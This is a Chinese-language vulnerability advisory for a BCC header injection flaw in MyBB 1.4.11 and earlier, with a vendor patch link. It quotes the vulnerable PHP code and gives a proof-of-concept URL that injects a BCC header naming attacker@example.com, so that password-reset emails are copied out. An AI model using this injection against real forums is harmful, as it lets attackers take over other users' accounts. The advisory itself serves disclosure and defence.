MyBB set_common_header()邮件BCC头注入漏洞

受影响系统:

MyBB MyBB <= 1.4.11

不受影响系统:

MyBB MyBB 1.4.12

描述:
MyBB是一款流行的Web论坛程序。

MyBB的口令重置实现中存在邮件注入漏洞,远程攻击者可以通过简单的URL控制就可以向BCC:邮件头中注入代码,将保密的口令重置邮件发送到BCC:头所指向的邮箱。

在MailHandler类的set_common_header()方式中,以下代码负责向所有发出的邮件(包括口令重置邮件)中添加一些常用的头:

     $this->headers .= "Message-ID: <{$msg_id}>{$this->delimiter}";
     $this->headers .= "Content-Transfer-Encoding: 8bit{$this->delimiter}";
     $this->headers .= "X-Priority: 3{$this->delimiter}";
     $this->headers .= "X-MSMail-Priority: Normal{$this->delimiter}";
     $this->headers .= "X-Mailer: MyBB{$this->delimiter}";
     if(defined("IN_ADMINCP"))
     {
         …
     }
     $this->headers .= "X-MyBB-Script:
{$http_host}{$_SERVER[‘PHP_SELF’]}{$this->delimiter}";
     $this->headers .= "MIME-Version: 1.0{$this->delimiter}";
    
上述代码向邮件中所添加的X-MyBB-Script头中包含有$_SERVER[‘PHP_SELF’]变量的内容。PHP_SELF不但包含有文档根目录相关的路径,还包括有Apache PATH_INFO等扩展名,因此可以被恶意用户控制。通过调用以下MyBB PHP脚本:

     attacker@example.com%0ax:" target="_blank">http://example.com/MyBB/index.php/%0aBCC:attacker@example.com%0ax:
    
就可以向这个脚本所发送的所有邮件添加任意BCC头。

<*来源:Stefan Esser (s.esser@ematters.de
  
  链接:
http://secunia.com/advisories/39378/
        http://marc.info/?l=bugtraq&m=127120955724879&w=2
*>

建议:

厂商补丁:

MyBB
—-
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://blog.mybboard.net/2010/04/13/mybb-1-4-12-released-security-maintenance-update/

发表评论?

0 条评论。

发表评论